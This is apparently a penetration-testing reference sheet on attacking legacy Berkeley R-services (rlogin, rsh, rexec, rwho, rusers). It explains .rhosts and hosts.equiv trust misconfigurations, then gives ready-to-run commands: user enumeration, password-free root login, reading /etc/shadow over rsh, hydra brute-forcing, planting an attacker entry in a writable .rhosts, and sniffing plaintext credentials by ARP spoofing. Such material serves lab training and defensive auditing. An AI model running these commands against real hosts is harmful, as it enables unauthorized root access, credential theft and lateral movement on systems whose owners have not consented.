R-services
The Berkeley R-services - rlogin, rsh, rexec, and the auxiliary rwho/rusers - are pre-SSH remote-access protocols designed for trusted Unix networks in the 1980s. They authenticate by source host, not by user - if the server trusts clienthost.example.com, anyone connecting from clienthost claiming to be user alice is granted access as alice. Plaintext. No encryption. No real authentication. Anywhere you find these running, it’s either a relic or a finding.
# 1. Service scan - the trio of R-servicesnmap -sV -p512,513,514 <target>
# 2. Information disclosure: who's logged inrusers -al <target> # remote users + idle timerwho # similar, broadcasts to local subnet
# 3. Try direct login (rlogin)rlogin -l root <target>
# 4. Run a command (rsh)rsh -l root <target> id
# 5. With explicit password (rexec)rexec -l root <target> idSuccess indicator: any login succeeds without password (host-trust misconfiguration), or rusers returns a list of currently-logged-in users.
Protocol overview
Section titled “Protocol overview”| Service | Port | Protocol detail |
|---|---|---|
rexec | TCP 512 | Run one command on the remote host. Sends username + password + command in plaintext. |
rlogin | TCP 513 | Interactive login shell. If trust is configured, no password prompt. |
rsh | TCP 514 | Run one command. If trust is configured, no password prompt. |
rwho | UDP 513 | Broadcasts which users are logged in on the local network. |
rusers | RPC (port from portmapper) | Returns logged-in users from a remote host. |
rcp | Uses rsh (TCP 514) | Remote file copy. |
The protocols themselves are tiny - rlogin is essentially “send the username, optionally a TTY type, optionally a window size; everything else is a transparent character stream.” rsh is even simpler - “send the local username, the remote username, and the command to run.”
The trust model
Section titled “The trust model”When rlogin/rsh are configured to bypass passwords, the daemon checks two files on the server (target) side:
| File | Scope | Format |
|---|---|---|
/etc/hosts.equiv | System-wide | One line per trusted host. Any user on that host can log in as the same-named user on this host. |
~/.rhosts | Per-user | One line per trusted (hostname, username) pair. Anyone on that host as that user can log in as the owner of the .rhosts. |
Example /etc/hosts.equiv:
client1.example.comclient2.example.comMeans: any non-root user on client1.example.com can rlogin to this host as the same-named user without a password. (Note: hosts.equiv does not grant root access; root requires /.rhosts.)
Example ~alice/.rhosts:
bob-laptop.example.com bobclient1.example.com alice+ +Lines 1-2: trust bob on bob-laptop and alice on client1, both able to login as alice here.
Line 3 (+ +): the security disaster. Any user on any host can log in as alice without a password. This pattern was historically a recommended setting in some HP-UX and IBM AIX installation guides, and copy-paste configurations from those guides still exist in the wild.
A + in the hostname field = any host. A + in the username field = any user. + + = “trust everything.”
Connections come from low ports
Section titled “Connections come from low ports”R-services check that the source port is below 1024 (a “trusted port” because non-root users can’t bind to it on Unix). This was security in the 1980s - only root on the source host could initiate. It’s not security in the 2020s because anyone with root on a single Linux box can craft such packets at will.
Default configuration
Section titled “Default configuration”Modern Linux distros don’t even ship the R-service daemons. You have to install rsh-server, inetutils-inetd, or similar - and then explicitly enable them in inetd/xinetd:
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -Llogin stream tcp nowait root /usr/sbin/tcpd in.rlogindexec stream tcp nowait root /usr/sbin/tcpd in.rexecdWhen you encounter R-services on a target today, it’s almost always one of:
- A legacy Unix system (Solaris, HP-UX, AIX) that has never been modernized
- An embedded device or appliance whose vendor never updated to SSH
- A deliberate honeypot
In all three cases, the engagement value is high - the protocol’s design guarantees credential-free access if trust is configured at all, and credential-grabbing if password auth is used (because it’s plaintext).
Dangerous settings
Section titled “Dangerous settings”| Setting | Why it’s bad |
|---|---|
+ + in /etc/hosts.equiv | Any user on any host can log in (except root) |
+ + in /.rhosts (root’s) | Anyone can log in as root |
+ + in user .rhosts | Anyone can log in as that user |
Wildcard + in hostname field | ”trust this user from anywhere” |
Wildcard + in username field | ”trust any user from this host as me” |
.rhosts writable by anyone other than the owner | An attacker can plant their own trust entry |
| R-services exposed to public internet | Plaintext credentials + non-existent auth = trivial compromise |
rusers / rwho exposed externally | User-enumeration primitive |
Footprinting commands
Section titled “Footprinting commands”Service scan
Section titled “Service scan”sudo nmap -sV -p512,513,514 10.129.14.128PORT STATE SERVICE EXTERNAL-VERSION512/tcp open exec netkit-rsh rexecd513/tcp open login OpenBSD or Solaris rlogind514/tcp open shell Netkit rshdThree open R-service ports = all three daemons running. Each is independently enumerable.
User enumeration via rusers
Section titled “User enumeration via rusers”rusers -al 10.129.14.128htb-student 10.129.14.128:console Sep 16 14:11 :01admin 10.129.14.128:pts/0 Sep 16 14:35backup 10.129.14.128:pts/1 Sep 16 13:21-a shows all users (default omits idle accounts), -l long format.
rwho is similar but listens for broadcasts instead of actively querying - useful on shared subnets to passively map who’s logged in where:
rwhoBoth are user-enumeration primitives without any authentication required. Treat the user list as input to password-spray and to .rhosts hunting.
rlogin
Section titled “rlogin”rlogin -l root 10.129.14.128If /.rhosts has + +:
Last login: Wed Sep 16 14:11:01 from 10.129.14.10root@target:~#You’re root, no password, no audit trail beyond the connection log.
If trust isn’t configured, you get a password prompt - same plaintext-credential exposure as rexec.
To try non-root accounts iteratively:
for user in $(cat users.txt); do echo "=== $user ===" rlogin -l "$user" 10.129.14.128 -e ~. 2>&1 | head -3done-e ~. sets the escape sequence to ~. (the default) so you can break out of stuck sessions.
rsh - one-shot command execution
Section titled “rsh - one-shot command execution”rsh -l root 10.129.14.128 'id; uname -a; cat /etc/shadow'uid=0(root) gid=0(root) groups=0(root)Linux target 4.15.0-...root:$6$...daemon:*:...rsh runs one command and returns. With trust configured for root, this is xp_cmdshell for Unix - full remote command execution. The output streams back over the same connection.
rcp (built on rsh) copies files:
rexec - credentialed command execution
Section titled “rexec - credentialed command execution”rexec -l root 10.129.14.128 idPassword: # prompts for password (plaintext on the wire)uid=0(root) gid=0(root)rexec always requires credentials - no .rhosts bypass. But it transmits them in cleartext, so anyone sniffing the network captures them.
Brute-force
Section titled “Brute-force”hydra -L users.txt -P passwords.txt rexec://10.129.14.128hydra -L users.txt -P passwords.txt rlogin://10.129.14.128hydra -L users.txt -P passwords.txt rsh://10.129.14.128Hydra has separate modules for each. R-services typically don’t implement rate-limiting (the protocols are too old to have had it bolted on), making brute-force feasible.
Detecting .rhosts from credentialed access
Section titled “Detecting .rhosts from credentialed access”When you’ve gained access by any means (rlogin trust, brute-force, or a different service entirely), check for further trust to abuse:
# All users' .rhosts filescat /etc/hosts.equivfind /home -name .rhosts -exec ls -la {} \; -exec cat {} \;find /root -name .rhosts -exec ls -la {} \; -exec cat {} \;A + in any of these means more lateral movement is available.
NSE scripts
Section titled “NSE scripts”nmap -p512,513,514 --script "rusers" 10.129.14.128nmap -p512,513,514 --script "rexec-brute" --script-args userdb=u,passdb=p 10.129.14.128nmap -p512,513,514 --script "rlogin-brute" --script-args userdb=u,passdb=p 10.129.14.128Common chained workflows
Section titled “Common chained workflows”rusers user list → rlogin trust check:
rusers -al targetreturns user list- For each user, try
rlogin -l <user> target - Trust-bypass logins succeed silently - credentials never prompted
Sniff rexec creds → reuse on SSH:
- Any rexec session sends username+password in plaintext
- Intercepting that traffic (ARP spoof on the local subnet, mirror port, or just being any router on the path) yields credentials
- Same credentials work on SSH, FTP, mail - same human, same password
.rhosts write → trust insertion:
- NFS export (see NFS) or rsync writable share contains
~user/.rhostswritable - Write
+ <attacker-host> +into it - From your attack host,
rlogin -l <user> target- no password needed
Internal subnet rwho passive mapping:
- Listen for rwho broadcasts on the local subnet (UDP 513, broadcast)
- Build a map of “which users are logged in to which hosts right now”
- Use that map to time engagements - attack hosts when admin users aren’t logged in to reduce detection risk
Quick reference
Section titled “Quick reference”| Task | Command |
|---|---|
| Service scan | nmap -sV -p512,513,514 <target> |
| User enumeration | rusers -al <target> |
| Subnet passive map | rwho (listens for broadcasts) |
| rlogin (try trust) | rlogin -l <user> <target> |
| rsh one-shot command | rsh -l <user> <target> '<cmd>' |
| rexec with password | rexec -l <user> <target> '<cmd>' (prompts for pw) |
| rcp upload | rcp <local> <user>@<target>:<remote> |
| rcp download | rcp <user>@<target>:<remote> <local> |
| Brute force rexec | hydra -L u -P p rexec://<target> |
| Brute force rlogin | hydra -L u -P p rlogin://<target> |
| Find trust files (post-access) | find / -name .rhosts -ls 2>/dev/null |
| Read hosts.equiv | cat /etc/hosts.equiv |